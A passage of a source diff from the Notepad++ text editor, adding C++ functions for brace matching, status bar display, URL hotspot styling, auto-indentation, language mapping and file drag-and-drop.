int(_pEditView->execute(SCI_GETCOLUMN, braceOpposite)); + _pEditView->execute(SCI_SETHIGHLIGHTGUIDE, (columnAtCaret < columnOpposite)?columnAtCaret:columnOpposite); + } + } + + const bool enable = (braceAtCaret != -1) && (braceOpposite != -1); + enableCommand(IDM_SEARCH_GOTOMATCHINGBRACE, enable, MENU | TOOLBAR); + enableCommand(IDM_SEARCH_SELECTMATCHINGBRACES, enable, MENU); + return (braceAtCaret != -1); +} + + +void Notepad_plus::setLangStatus(LangType langType) +{ + _statusBar.setText(getLangDesc(langType).c_str(), STATUSBAR_DOC_TYPE); +} + + +void Notepad_plus::setDisplayFormat(EolType format) +{ + const TCHAR* str = TEXT("??"); + switch (format) + { + case EolType::windows: str = TEXT("Windows (CR LF)"); break; + case EolType::macos: str = TEXT("Macintosh (CR)"); break; + case EolType::unix: str = TEXT("Unix (LF)"); break; + case EolType::unknown: str = TEXT("Unknown"); assert(false); break; + } + _statusBar.setText(str, STATUSBAR_EOF_FORMAT); +} + + +void Notepad_plus::setUniModeText() +{ + Buffer *buf = _pEditView->getCurrentBuffer(); + int encoding = buf->getEncoding(); + UniMode um = buf->getUnicodeMode(); + + generic_string uniModeTextString; + + if (encoding == -1) + { + switch (um) + { + case uniUTF8: + uniModeTextString = TEXT("UTF-8-BOM"); break; + case uni16BE: + uniModeTextString = TEXT("UCS-2 BE BOM"); break; + case uni16LE: + uniModeTextString = TEXT("UCS-2 LE BOM"); break; + case uni16BE_NoBOM: + uniModeTextString = TEXT("UCS-2 Big Endian"); break; + case uni16LE_NoBOM: + uniModeTextString = TEXT("UCS-2 Little Endian"); break; + case uniCookie: + uniModeTextString = TEXT("UTF-8"); break; + default : + uniModeTextString = TEXT("ANSI"); + } + } + else + { + EncodingMapper *em = EncodingMapper::getInstance(); + int cmdID = em->getIndexFromEncoding(encoding); + if (cmdID == -1) + { + //printStr(TEXT("Encoding problem. Encoding is not added in encoding_table?")); + return; + } + cmdID += IDM_FORMAT_ENCODE; + + const int itemSize = 64; + TCHAR uniModeText[itemSize]; + ::GetMenuString(_mainMenuHandle, cmdID, uniModeText, itemSize, MF_BYCOMMAND); + uniModeTextString = uniModeText; + } + _statusBar.setText(uniModeTextString.c_str(), STATUSBAR_UNICODE_TYPE); +} + + +void Notepad_plus::addHotSpot() +{ + int startPos = 0; + int endPos = -1; + auto endStyle = _pEditView->execute(SCI_GETENDSTYLED); + + _pEditView->getVisibleStartAndEndPosition(&startPos, &endPos); + + _pEditView->execute(SCI_SETSEARCHFLAGS, SCFIND_REGEXP|SCFIND_POSIX); + + _pEditView->execute(SCI_SETTARGETRANGE, startPos, endPos); + + std::vector hotspotPairs; //= _pEditView->GetHotspotPairs(); + + unsigned char style_hotspot = 0; + unsigned char mask = INDIC1_MASK; + // INDIC2_MASK == 255 and it represents MSB bit + // only LEX_HTML and LEX_POSTSCRIPT use use INDIC2_MASK bit internally + // LEX_HTML is using INDIC2_MASK bit even though it has only 127 states, so it is safe to overwrite 8th bit + // INDIC2_MASK will be used for LEX_HTML + + // LEX_POSTSCRIPT is using INDIC2_MASK bit for "tokenization", and is using mask=31 in lexer, + // therefore hotspot in LEX_POSTSCRIPT will be saved to 5th bit + // there are only 15 states in LEX_POSTSCRIPT, so it is safe to overwrite 5th bit + + // rule of the thumb is, any lexet that calls: styler.StartAt(startPos, 255); + // must have special processing here, all other lexers are fine with INDIC1_MASK (7th bit) + + LangType type = _pEditView->getCurrentBuffer()->getLangType(); + + if (type == L_HTML || type == L_PHP || type == L_ASP || type == L_JSP) + mask = INDIC2_MASK; + else if (type == L_PS) + mask = 16; + + int posFound = static_cast(_pEditView->execute(SCI_SEARCHINTARGET, strlen(URL_REG_EXPR), reinterpret_cast(URL_REG_EXPR))); + + while (posFound != -1 && posFound != -2) + { + int start = int(_pEditView->execute(SCI_GETTARGETSTART)); + int end = int(_pEditView->execute(SCI_GETTARGETEND)); + int foundTextLen = end - start; + unsigned char idStyle = static_cast(_pEditView->execute(SCI_GETSTYLEAT, posFound)); + + // Search the style + int fs = -1; + for (size_t i = 0, len = hotspotPairs.size(); i < len ; ++i) + { + // make sure to ignore "hotspot bit" when comparing document style with archived hotspot style + if ((hotspotPairs[i] & ~mask) == (idStyle & ~mask)) + { + fs = hotspotPairs[i]; + _pEditView->execute(SCI_STYLEGETFORE, fs); + break; + } + } + + // if we found it then use it to colourize + if (fs != -1) + { + _pEditView->execute(SCI_STARTSTYLING, start, 0xFF); + _pEditView->execute(SCI_SETSTYLING, foundTextLen, fs); + } + else // generalize a new style and add it into a array + { + style_hotspot = idStyle | mask; // set "hotspot bit" + hotspotPairs.push_back(style_hotspot); + unsigned char idStyleMSBunset = idStyle & ~mask; + char fontNameA[128]; + + Style hotspotStyle; + + hotspotStyle._styleID = static_cast(style_hotspot); + _pEditView->execute(SCI_STYLEGETFONT, idStyleMSBunset, reinterpret_cast(fontNameA)); + TCHAR *generic_fontname = new TCHAR[128]; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t * fontNameW = wmc->char2wchar(fontNameA, _nativeLangSpeaker.getLangEncoding()); + lstrcpy(generic_fontname, fontNameW); + hotspotStyle._fontName = generic_fontname; + + hotspotStyle._fgColor = static_cast(_pEditView->execute(SCI_STYLEGETFORE, idStyleMSBunset)); + hotspotStyle._bgColor = static_cast(_pEditView->execute(SCI_STYLEGETBACK, idStyleMSBunset)); + hotspotStyle._fontSize = static_cast(_pEditView->execute(SCI_STYLEGETSIZE, idStyleMSBunset)); + + auto isBold = _pEditView->execute(SCI_STYLEGETBOLD, idStyleMSBunset); + auto isItalic = _pEditView->execute(SCI_STYLEGETITALIC, idStyleMSBunset); + auto isUnderline = _pEditView->execute(SCI_STYLEGETUNDERLINE, idStyleMSBunset); + hotspotStyle._fontStyle = (isBold?FONTSTYLE_BOLD:0) | (isItalic?FONTSTYLE_ITALIC:0) | (isUnderline?FONTSTYLE_UNDERLINE:0); + + int urlAction = (NppParameters::getInstance())->getNppGUI()._styleURL; + if (urlAction == 2) + hotspotStyle._fontStyle |= FONTSTYLE_UNDERLINE; + + _pEditView->setHotspotStyle(hotspotStyle); + + _pEditView->execute(SCI_STYLESETHOTSPOT, style_hotspot, TRUE); + int activeFG = 0xFF0000; + Style *urlHovered = getStyleFromName(TEXT("URL hovered")); + if (urlHovered) + activeFG = urlHovered->_fgColor; + _pEditView->execute(SCI_SETHOTSPOTACTIVEFORE, TRUE, activeFG); + _pEditView->execute(SCI_SETHOTSPOTSINGLELINE, style_hotspot, 0); + + // colourize it! + _pEditView->execute(SCI_STARTSTYLING, start, 0xFF); + _pEditView->execute(SCI_SETSTYLING, foundTextLen, style_hotspot); + } + + _pEditView->execute(SCI_SETTARGETRANGE, posFound + foundTextLen, endPos); + + posFound = static_cast(_pEditView->execute(SCI_SEARCHINTARGET, strlen(URL_REG_EXPR), reinterpret_cast(URL_REG_EXPR))); + } + + _pEditView->execute(SCI_STARTSTYLING, endStyle, 0xFF); + _pEditView->execute(SCI_SETSTYLING, 0, 0); +} + +bool Notepad_plus::isConditionExprLine(int lineNumber) +{ + if (lineNumber < 0 || lineNumber > _pEditView->execute(SCI_GETLINECOUNT)) + return false; + + auto startPos = _pEditView->execute(SCI_POSITIONFROMLINE, lineNumber); + auto endPos = _pEditView->execute(SCI_GETLINEENDPOSITION, lineNumber); + _pEditView->execute(SCI_SETSEARCHFLAGS, SCFIND_REGEXP | SCFIND_POSIX); + _pEditView->execute(SCI_SETTARGETRANGE, startPos, endPos); + + const char ifElseForWhileExpr[] = "((else[ \t]+)?if|for|while)[ \t]*[(].*[)][ \t]*|else[ \t]*"; + + auto posFound = _pEditView->execute(SCI_SEARCHINTARGET, strlen(ifElseForWhileExpr), reinterpret_cast(ifElseForWhileExpr)); + if (posFound != -1 && posFound != -2) + { + auto end = _pEditView->execute(SCI_GETTARGETEND); + if (end == endPos) + return true; + } + + return false; +} + +int Notepad_plus::findMachedBracePos(size_t startPos, size_t endPos, char targetSymbol, char matchedSymbol) +{ + if (startPos == endPos) + return -1; + + if (startPos > endPos) // backward + { + int balance = 0; + for (int i = int(startPos); i >= int(endPos); --i) + { + char aChar = static_cast(_pEditView->execute(SCI_GETCHARAT, i)); + if (aChar == targetSymbol) + { + if (balance == 0) + return i; + --balance; + } + else if (aChar == matchedSymbol) + { + ++balance; + } + } + } + else // forward - TODO + { + } + return -1; +} + +void Notepad_plus::maintainIndentation(TCHAR ch) +{ + int eolMode = static_cast((_pEditView->execute(SCI_GETEOLMODE))); + int curLine = static_cast((_pEditView->getCurrentLineNumber())); + int prevLine = curLine - 1; + int indentAmountPrevLine = 0; + int tabWidth = static_cast(_pEditView->execute(SCI_GETTABWIDTH)); + + LangType type = _pEditView->getCurrentBuffer()->getLangType(); + + if (type == L_C || type == L_CPP || type == L_JAVA || type == L_CS || type == L_OBJC || + type == L_PHP || type == L_JS || type == L_JAVASCRIPT || type == L_JSP || type == L_CSS) + { + if (((eolMode == SC_EOL_CRLF || eolMode == SC_EOL_LF) && ch == '\n') || + (eolMode == SC_EOL_CR && ch == '\r')) + { + // Search the non-empty previous line + while (prevLine >= 0 && _pEditView->getLineLength(prevLine) == 0) + prevLine--; + + // Get previous line's Indent + if (prevLine >= 0) + { + indentAmountPrevLine = _pEditView->getLineIndent(prevLine); + } + + // get previous char from current line + int prevPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)) - (eolMode == SC_EOL_CRLF ? 3 : 2); + UCHAR prevChar = (UCHAR)_pEditView->execute(SCI_GETCHARAT, prevPos); + auto curPos = _pEditView->execute(SCI_GETCURRENTPOS); + UCHAR nextChar = (UCHAR)_pEditView->execute(SCI_GETCHARAT, curPos); + + if (prevChar == '{') + { + if (nextChar == '}') + { + char *eolChars; + if (eolMode == SC_EOL_CRLF) + eolChars = "\r\n"; + else if (eolMode == SC_EOL_LF) + eolChars = "\n"; + else + eolChars = "\r"; + + _pEditView->execute(SCI_INSERTTEXT, _pEditView->execute(SCI_GETCURRENTPOS), reinterpret_cast(eolChars)); + _pEditView->setLineIndent(curLine + 1, indentAmountPrevLine); + } + _pEditView->setLineIndent(curLine, indentAmountPrevLine + tabWidth); + } + else if (nextChar == '{') + { + _pEditView->setLineIndent(curLine, indentAmountPrevLine); + } + else if (isConditionExprLine(prevLine)) + { + _pEditView->setLineIndent(curLine, indentAmountPrevLine + tabWidth); + } + else + { + if (indentAmountPrevLine > 0) + { + if (prevLine > 0 && isConditionExprLine(prevLine - 1)) + _pEditView->setLineIndent(curLine, indentAmountPrevLine - tabWidth); + else + _pEditView->setLineIndent(curLine, indentAmountPrevLine); + } + } + } + else if (ch == '{') + { + // if no character in front of {, aligned with prev line's indentation + auto startPos = _pEditView->execute(SCI_POSITIONFROMLINE, curLine); + LRESULT endPos = _pEditView->execute(SCI_GETCURRENTPOS); + + for (LRESULT i = endPos - 2; i > 0 && i > startPos; --i) + { + UCHAR aChar = (UCHAR)_pEditView->execute(SCI_GETCHARAT, i); + if (aChar != ' ' && aChar != '\t') + return; + } + + // Search the non-empty previous line + while (prevLine >= 0 && _pEditView->getLineLength(prevLine) == 0) + prevLine--; + + // Get previous line's Indent + if (prevLine >= 0) + { + indentAmountPrevLine = _pEditView->getLineIndent(prevLine); + + auto startPos = _pEditView->execute(SCI_POSITIONFROMLINE, prevLine); + auto endPos = _pEditView->execute(SCI_GETLINEENDPOSITION, prevLine); + _pEditView->execute(SCI_SETSEARCHFLAGS, SCFIND_REGEXP | SCFIND_POSIX); + _pEditView->execute(SCI_SETTARGETRANGE, startPos, endPos); + + const char braceExpr[] = "[ \t]*\\{.*"; + + int posFound = static_cast(_pEditView->execute(SCI_SEARCHINTARGET, strlen(braceExpr), reinterpret_cast(braceExpr))); + if (posFound != -1 && posFound != -2) + { + int end = int(_pEditView->execute(SCI_GETTARGETEND)); + if (end == endPos) + indentAmountPrevLine += tabWidth; + } + } + + _pEditView->setLineIndent(curLine, indentAmountPrevLine); + + } + else if (ch == '}') + { + // Look backward for the pair { + int startPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + if (startPos != 0) + startPos -= 1; + int posFound = findMachedBracePos(startPos - 1, 0, '{', '}'); + + // if no { found, do nothing + if (posFound == -1) + return; + + // if { is in the same line, do nothing + int matchedPairLine = static_cast(_pEditView->execute(SCI_LINEFROMPOSITION, posFound)); + if (matchedPairLine == curLine) + return; + + // { is in another line, get its indentation + indentAmountPrevLine = _pEditView->getLineIndent(matchedPairLine); + + // aligned } indent with { + _pEditView->setLineIndent(curLine, indentAmountPrevLine); + + /* + // indent lines from { to } + for (int i = matchedPairLine + 1; i < curLine; ++i) + _pEditView->setLineIndent(i, indentAmountPrevLine + tabWidth); + */ + } + } + else // Basic indentation mode + { + if (((eolMode == SC_EOL_CRLF || eolMode == SC_EOL_LF) && ch == '\n') || + (eolMode == SC_EOL_CR && ch == '\r')) + { + // Search the non-empty previous line + while (prevLine >= 0 && _pEditView->getLineLength(prevLine) == 0) + prevLine--; + + if (prevLine >= 0) + { + indentAmountPrevLine = _pEditView->getLineIndent(prevLine); + } + + if (indentAmountPrevLine > 0) + { + _pEditView->setLineIndent(curLine, indentAmountPrevLine); + } + } + } +} + +BOOL Notepad_plus::processFindAccel(MSG *msg) const +{ + if (not ::IsChild(_findReplaceDlg.getHSelf(), ::GetFocus())) + return FALSE; + return ::TranslateAccelerator(_findReplaceDlg.getHSelf(), _accelerator.getFindAccTable(), msg); +} + +BOOL Notepad_plus::processIncrFindAccel(MSG *msg) const +{ + if (not ::IsChild(_incrementFindDlg.getHSelf(), ::GetFocus())) + return FALSE; + return ::TranslateAccelerator(_incrementFindDlg.getHSelf(), _accelerator.getIncrFindAccTable(), msg); +} + +void Notepad_plus::setLanguage(LangType langType) +{ + //Add logic to prevent changing a language when a document is shared between two views + //If so, release one document + bool reset = false; + Document prev = 0; + if (bothActive()) + { + if (_mainEditView.getCurrentBufferID() == _subEditView.getCurrentBufferID()) + { + reset = true; + _subEditView.saveCurrentPos(); + prev = _subEditView.execute(SCI_GETDOCPOINTER); + _subEditView.execute(SCI_SETDOCPOINTER, 0, 0); + } + } + + if (reset) + { + _mainEditView.getCurrentBuffer()->setLangType(langType); + } + else + { + _pEditView->getCurrentBuffer()->setLangType(langType); + } + + if (reset) + { + _subEditView.execute(SCI_SETDOCPOINTER, 0, prev); + _subEditView.restoreCurrentPos(); + } +}; + +LangType Notepad_plus::menuID2LangType(int cmdID) +{ + switch (cmdID) + { + case IDM_LANG_C : + return L_C; + case IDM_LANG_CPP : + return L_CPP; + case IDM_LANG_JAVA : + return L_JAVA; + case IDM_LANG_CS : + return L_CS; + case IDM_LANG_HTML : + return L_HTML; + case IDM_LANG_XML : + return L_XML; + case IDM_LANG_JS : + return L_JAVASCRIPT; + case IDM_LANG_JSON: + return L_JSON; + case IDM_LANG_PHP : + return L_PHP; + case IDM_LANG_ASP : + return L_ASP; + case IDM_LANG_JSP : + return L_JSP; + case IDM_LANG_CSS : + return L_CSS; + case IDM_LANG_LUA : + return L_LUA; + case IDM_LANG_PERL : + return L_PERL; + case IDM_LANG_PYTHON : + return L_PYTHON; + case IDM_LANG_PASCAL : + return L_PASCAL; + case IDM_LANG_BATCH : + return L_BATCH; + case IDM_LANG_OBJC : + return L_OBJC; + case IDM_LANG_VB : + return L_VB; + case IDM_LANG_SQL : + return L_SQL; + case IDM_LANG_ASCII : + return L_ASCII; + case IDM_LANG_TEXT : + return L_TEXT; + case IDM_LANG_RC : + return L_RC; + case IDM_LANG_MAKEFILE : + return L_MAKEFILE; + case IDM_LANG_INI : + return L_INI; + case IDM_LANG_TEX : + return L_TEX; + case IDM_LANG_FORTRAN : + return L_FORTRAN; + case IDM_LANG_FORTRAN_77 : + return L_FORTRAN_77; + case IDM_LANG_BASH : + return L_BASH; + case IDM_LANG_FLASH : + return L_FLASH; + case IDM_LANG_NSIS : + return L_NSIS; + case IDM_LANG_TCL : + return L_TCL; + case IDM_LANG_LISP : + return L_LISP; + case IDM_LANG_SCHEME : + return L_SCHEME; + case IDM_LANG_ASM : + return L_ASM; + case IDM_LANG_DIFF : + return L_DIFF; + case IDM_LANG_PROPS : + return L_PROPS; + case IDM_LANG_PS: + return L_PS; + case IDM_LANG_RUBY: + return L_RUBY; + case IDM_LANG_SMALLTALK: + return L_SMALLTALK; + case IDM_LANG_VHDL : + return L_VHDL; + case IDM_LANG_KIX : + return L_KIX; + case IDM_LANG_CAML : + return L_CAML; + case IDM_LANG_ADA : + return L_ADA; + case IDM_LANG_VERILOG : + return L_VERILOG; + case IDM_LANG_MATLAB : + return L_MATLAB; + case IDM_LANG_HASKELL : + return L_HASKELL; + case IDM_LANG_AU3 : + return L_AU3; + case IDM_LANG_INNO : + return L_INNO; + case IDM_LANG_CMAKE : + return L_CMAKE; + case IDM_LANG_YAML : + return L_YAML; + case IDM_LANG_COBOL : + return L_COBOL; + case IDM_LANG_D : + return L_D; + case IDM_LANG_GUI4CLI : + return L_GUI4CLI; + case IDM_LANG_POWERSHELL : + return L_POWERSHELL; + case IDM_LANG_R : + return L_R; + case IDM_LANG_COFFEESCRIPT : + return L_COFFEESCRIPT; + case IDM_LANG_BAANC: + return L_BAANC; + case IDM_LANG_SREC : + return L_SREC; + case IDM_LANG_IHEX : + return L_IHEX; + case IDM_LANG_TEHEX : + return L_TEHEX; + case IDM_LANG_SWIFT: + return L_SWIFT; + case IDM_LANG_ASN1 : + return L_ASN1; + case IDM_LANG_AVS : + return L_AVS; + case IDM_LANG_BLITZBASIC : + return L_BLITZBASIC; + case IDM_LANG_PUREBASIC : + return L_PUREBASIC; + case IDM_LANG_FREEBASIC : + return L_FREEBASIC; + case IDM_LANG_CSOUND : + return L_CSOUND; + case IDM_LANG_ERLANG : + return L_ERLANG; + case IDM_LANG_ESCRIPT : + return L_ESCRIPT; + case IDM_LANG_FORTH : + return L_FORTH; + case IDM_LANG_LATEX : + return L_LATEX; + case IDM_LANG_MMIXAL : + return L_MMIXAL; + case IDM_LANG_NIMROD : + return L_NIMROD; + case IDM_LANG_NNCRONTAB : + return L_NNCRONTAB; + case IDM_LANG_OSCRIPT : + return L_OSCRIPT; + case IDM_LANG_REBOL : + return L_REBOL; + case IDM_LANG_REGISTRY : + return L_REGISTRY; + case IDM_LANG_RUST : + return L_RUST; + case IDM_LANG_SPICE : + return L_SPICE; + case IDM_LANG_TXT2TAGS : + return L_TXT2TAGS; + case IDM_LANG_VISUALPROLOG: + return L_VISUALPROLOG; + case IDM_LANG_USER : + return L_USER; + default: { + if (cmdID >= IDM_LANG_USER && cmdID <= IDM_LANG_USER_LIMIT) { + return L_USER; + } + break; } + } + return L_EXTERNAL; +} + + +void Notepad_plus::setTitle() +{ + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + //Get the buffer + Buffer * buf = _pEditView->getCurrentBuffer(); + + generic_string result = TEXT(""); + if (buf->isDirty()) + { + result += TEXT("*"); + } + + if (nppGUI._shortTitlebar) + { + result += buf->getFileName(); + } + else + { + result += buf->getFullPathName(); + } + result += TEXT(" - "); + result += _pPublicInterface->getClassName(); + + if (_isAdministrator) + result += TEXT(" [Administrator]"); + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SETTEXT, 0, reinterpret_cast(result.c_str())); +} + +void Notepad_plus::activateNextDoc(bool direction) +{ + int nbDoc = static_cast(_pDocTab->nbItem()); + + int curIndex = _pDocTab->getCurrentTabIndex(); + curIndex += (direction == dirUp)?-1:1; + + if (curIndex >= nbDoc) + { + if (viewVisible(otherView())) + switchEditViewTo(otherView()); + curIndex = 0; + } + else if (curIndex < 0) + { + if (viewVisible(otherView())) + { + switchEditViewTo(otherView()); + nbDoc = static_cast(_pDocTab->nbItem()); + } + curIndex = nbDoc - 1; + } + + BufferID id = _pDocTab->getBufferByIndex(curIndex); + activateBuffer(id, currentView()); +} + +void Notepad_plus::activateDoc(size_t pos) +{ + size_t nbDoc = _pDocTab->nbItem(); + if (pos == static_cast(_pDocTab->getCurrentTabIndex())) + { + Buffer * buf = _pEditView->getCurrentBuffer(); + buf->increaseRecentTag(); + return; + } + + if (pos < nbDoc) + { + BufferID id = _pDocTab->getBufferByIndex(pos); + activateBuffer(id, currentView()); + } +} + + +static const char utflen[] = {1,1,2,3}; + +size_t Notepad_plus::getSelectedCharNumber(UniMode u) +{ + size_t result = 0; + int numSel = static_cast(_pEditView->execute(SCI_GETSELECTIONS)); + if (u == uniUTF8 || u == uniCookie) + { + for (int i=0; i < numSel; ++i) + { + size_t line1 = _pEditView->execute(SCI_LINEFROMPOSITION, _pEditView->execute(SCI_GETSELECTIONNSTART, i)); + size_t line2 = _pEditView->execute(SCI_LINEFROMPOSITION, _pEditView->execute(SCI_GETSELECTIONNEND, i)); + for (size_t j = line1; j <= line2; ++j) + { + size_t stpos = _pEditView->execute(SCI_GETLINESELSTARTPOSITION, j); + if (stpos != INVALID_POSITION) + { + size_t endpos = _pEditView->execute(SCI_GETLINESELENDPOSITION, j); + for (size_t pos = stpos; pos < endpos; ++pos) + { + unsigned char c = 0xf0 & static_cast(_pEditView->execute(SCI_GETCHARAT, pos)); + if (c >= 0xc0) + pos += utflen[(c & 0x30) >> 4]; + ++result; + } + } + } + } + } + else + { + for (int i=0; i < numSel; ++i) + { + size_t stpos = _pEditView->execute(SCI_GETSELECTIONNSTART, i); + size_t endpos = _pEditView->execute(SCI_GETSELECTIONNEND, i); + result += (endpos - stpos); + size_t line1 = _pEditView->execute(SCI_LINEFROMPOSITION, stpos); + size_t line2 = _pEditView->execute(SCI_LINEFROMPOSITION, endpos); + line2 -= line1; + if (_pEditView->execute(SCI_GETEOLMODE) == SC_EOL_CRLF) line2 *= 2; + result -= line2; + } + if (u != uni8Bit && u != uni7Bit) result *= 2; + } + return result; +} + + +#ifdef _OPENMP +#include +#endif +static inline size_t countUtf8Characters(unsigned char *buf, size_t pos, size_t endpos) +{ + size_t result = 0; + while(pos < endpos) + { + unsigned char c = buf[pos++]; + if ((c&0xc0) == 0x80 // do not count unexpected continuation bytes (this handles the case where an UTF-8 character is split in the middle) + || c == '\n' || c == '\r') continue; // do not count end of lines + if (c >= 0xc0) + pos += utflen[(c & 0x30) >> 4]; + ++result; + } + return result; +} + + +size_t Notepad_plus::getCurrentDocCharCount(UniMode u) +{ + if (u != uniUTF8 && u != uniCookie) + { + size_t numLines = _pEditView->execute(SCI_GETLINECOUNT); + auto result = _pEditView->execute(SCI_GETLENGTH); + size_t lines = numLines==0?0:numLines-1; + if (_pEditView->execute(SCI_GETEOLMODE) == SC_EOL_CRLF) lines *= 2; + result -= lines; + return (result < 0) ? 0 : result; + } + else + { + // Note that counting is not well defined for invalid UTF-8 characters. + // This method is O(filelength) regardless of the number of characters we count (due to SCI_GETCHARACTERPOINTER); + // it would not be appropriate for counting characters in a small selection. + size_t result = 0; + + size_t endpos = _pEditView->execute(SCI_GETLENGTH); + unsigned char* buf = (unsigned char*)_pEditView->execute(SCI_GETCHARACTERPOINTER); // Scintilla doc said the pointer can be invalidated by any other "execute" + +#ifdef _OPENMP // parallel counting of characters with OpenMP + if (endpos > 50000) // starting threads takes time; for small files it is better to simply count in one thread + { + #pragma omp parallel reduction(+: result) + { + // split in chunks of same size (except last chunk if it's not evenly divisible) + unsigned int num_threads = omp_get_num_threads(); + unsigned int thread_num = omp_get_thread_num(); + size_t chunk_size = endpos/num_threads; + size_t pos = chunk_size*thread_num; + size_t endpos_local = (thread_num == num_threads-1) ? endpos : pos+chunk_size; + result = countUtf8Characters(buf, pos, endpos_local); + } + } + else +#endif + { + result = countUtf8Characters(buf, 0, endpos); + } + return result; + } +} + + +bool Notepad_plus::isFormatUnicode(UniMode u) +{ + return (u != uni8Bit && u != uni7Bit && u != uniUTF8 && u != uniCookie); +} + +int Notepad_plus::getBOMSize(UniMode u) +{ + switch(u) + { + case uni16LE: + case uni16BE: + return 2; + case uniUTF8: + return 3; + default: + return 0; + } +} + +size_t Notepad_plus::getSelectedAreas() +{ + size_t numSel = _pEditView->execute(SCI_GETSELECTIONS); + if (numSel == 1) // either 0 or 1 selection + return (_pEditView->execute(SCI_GETSELECTIONNSTART, 0) == _pEditView->execute(SCI_GETSELECTIONNEND, 0)) ? 0 : 1; + return (_pEditView->execute(SCI_SELECTIONISRECTANGLE)) ? 1 : numSel; +} + +size_t Notepad_plus::getSelectedBytes() +{ + size_t numSel = _pEditView->execute(SCI_GETSELECTIONS); + size_t result = 0; + for (size_t i = 0; i < numSel; ++i) + result += (_pEditView->execute(SCI_GETSELECTIONNEND, i) - _pEditView->execute(SCI_GETSELECTIONNSTART, i)); + return result; +} + +int Notepad_plus::wordCount() +{ + FindOption env; + env._str2Search = TEXT("[^ \\\\.,;:!?()+\\r\\n\\-\\*/=\\]\\[{}&~\"'`|@$%<>\\^]+"); + env._searchType = FindRegex; + return _findReplaceDlg.processAll(ProcessCountAll, &env, true); +} + + +void Notepad_plus::updateStatusBar() +{ + TCHAR strLnCol[128]; + TCHAR strSel[64]; + int selByte = 0; + int selLine = 0; + + _pEditView->getSelectedCount(selByte, selLine); + + long selected_length = _pEditView->getUnicodeSelectedLength(); + if (selected_length != -1) + wsprintf(strSel, TEXT("Sel : %s | %s"), commafyInt(selected_length).c_str(), commafyInt(selLine).c_str()); + else + wsprintf(strSel, TEXT("Sel : %s"), TEXT("N/A")); + + wsprintf(strLnCol, TEXT("Ln : %s Col : %s %s"), + commafyInt(_pEditView->getCurrentLineNumber() + 1).c_str(), + commafyInt(_pEditView->getCurrentColumnNumber() + 1).c_str(), + strSel); + + _statusBar.setText(strLnCol, STATUSBAR_CUR_POS); + + TCHAR strDocLen[256]; + wsprintf(strDocLen, TEXT("length : %s lines : %s"), + commafyInt(_pEditView->getCurrentDocLen()).c_str(), + commafyInt(_pEditView->execute(SCI_GETLINECOUNT)).c_str()); + + _statusBar.setText(strDocLen, STATUSBAR_DOC_SIZE); + _statusBar.setText(_pEditView->execute(SCI_GETOVERTYPE) ? TEXT("OVR") : TEXT("INS"), STATUSBAR_TYPING_MODE); +} + +void Notepad_plus::dropFiles(HDROP hdrop) +{ + if (hdrop) + { + // Determinate in which view the file(s) is (are) dropped + POINT p; + ::DragQueryPoint(hdrop, &p); + HWND hWin = ::RealChildWindowFromPoint(_pPublicInterface->getHSelf(), p); + if (!hWin) return; + + if ((_subEditView.getHSelf() == hWin) || (_subDocTab.getHSelf() == hWin)) + switchEditViewTo(SUB_VIEW); + else + switchEditViewTo(MAIN_VIEW); + + int filesDropped = ::DragQueryFile(hdrop, 0xffffffff, NULL, 0); + BufferID lastOpened = BUFFER_INVALID; + + vector folderPaths; + vector filePaths; + for (int i = 0; i < filesDropped; ++i) + { + TCHAR pathDropped[MAX_PATH]; + ::DragQueryFile(hdrop, i, pathDropped, MAX_PATH); + if (::PathIsDirectory(pathDropped)) + { + size_t len = lstrlen(pathDropped); + if (len > 0 && pathDropped[len - 1] != TCHAR('\\')) + { + pathDropped[len] = TCHAR('\\'); + pathDropped[len + 1] = TCHAR('\0'); + } + folderPaths.push_back(pathDropped); + } + else + { + filePaths.push_back(pathDropped); + } + } + + NppParameters *pNppParam = NppParameters::getInstance(); + bool isOldMode = pNppParam->getNppGUI()._isFolderDroppedOpenFiles; + + if (isOldMode || folderPaths.size() == 0) // old mode or new mode + only files + { + + BufferID lastOpened = BUFFER_INVALID; + for (int i = 0; i < filesDropped; ++i) + { + TCHAR pathDropped[MAX_PATH]; + ::DragQueryFile(hdrop, i, pathDropped, MAX_PATH); + BufferID test = doOpen(pathDropped); + if (test != BUFFER_INVALID) + lastOpened = test; + } + + if (lastOpened != BUFFER_INVALID) + { + switchToFile(lastOpened); + } + } + else if (not isOldMode && (folderPaths.size() != 0 && filePaths.size() != 0)) // new mode && both folders & files + { + // display error & do nothing + _nativeLangSpeaker.messageBox("DroppingFolderAsProjetModeWarning", + _pPublicInterface->getHSelf(), + TEXT("You can drop only files or folders but not both, because you're in dropping Folder as Projet mode.\ryou have to enable \"Open all files of folder instead of launching Folder as Workspace on folder dropping\" in \"Default Directory\" section of Preferences dialog to make this operation work."), + TEXT("Invalid action"), + MB_OK | MB_APPLMODAL); + } + else if (not isOldMode && (folderPaths.size() != 0 && filePaths.size() == 0)) // new mode && only folders + { + // process new mode + launchFileBrowser(folderPaths); + } + + if (lastOpened != BUFFER_INVALID) + { + switchToFile(lastOpened); + } + ::DragFinish(hdrop); + // Put Notepad_plus to forefront + // May not work for Win2k, but OK for lower versions + // Note: how to drop a file to an iconic window? + // Actually, it is the Send To command that generates a drop. + if (::IsIconic(_pPublicInterface->getHSelf())) + { + ::ShowWindow(_pPublicInterface->getHSelf(), SW_RESTORE); + } + ::SetForegroundWindow(_pPublicInterface->getHSelf()); + } +} + +void Notepad_plus::checkModifiedDocument() +{ + //this will trigger buffer updates. If the status changes, Notepad++ will be informed and can do its magic + MainFileManager->checkFilesystemChanges(); +} + +void Notepad_plus::getMainClientRect(RECT &rc) const +{ + _pPublicInterface->getClientRect(rc); + rc.top += _rebarTop.getHeight(); + rc.bottom -= rc.top + _rebarBottom.getHeight() + _statusBar.getHeight(); +} + +void Notepad_plus::showView(int whichOne) +{ + if (viewVisible(whichOne)) //no use making visible view visible + return; + + if (_mainWindowStatus & WindowUserActive) { + _pMainSplitter->setWin0(&_subSplitter); + _pMainWindow = _pMainSplitter; + } else { + _pMainWindow = &_subSplitter; + } + + if (whichOne == MAIN_VIEW) { + _mainEditView.display(true); + _mainDocTab.display(true); + } else if (whichOne == SUB_VIEW) { + _subEditView.display(true); + _subDocTab.display(true); + } + _pMainWindow->display(true); + + _mainWindowStatus |= (whichOne==MAIN_VIEW)?WindowMainActive:WindowSubActive; + + //Send sizing info to make windows 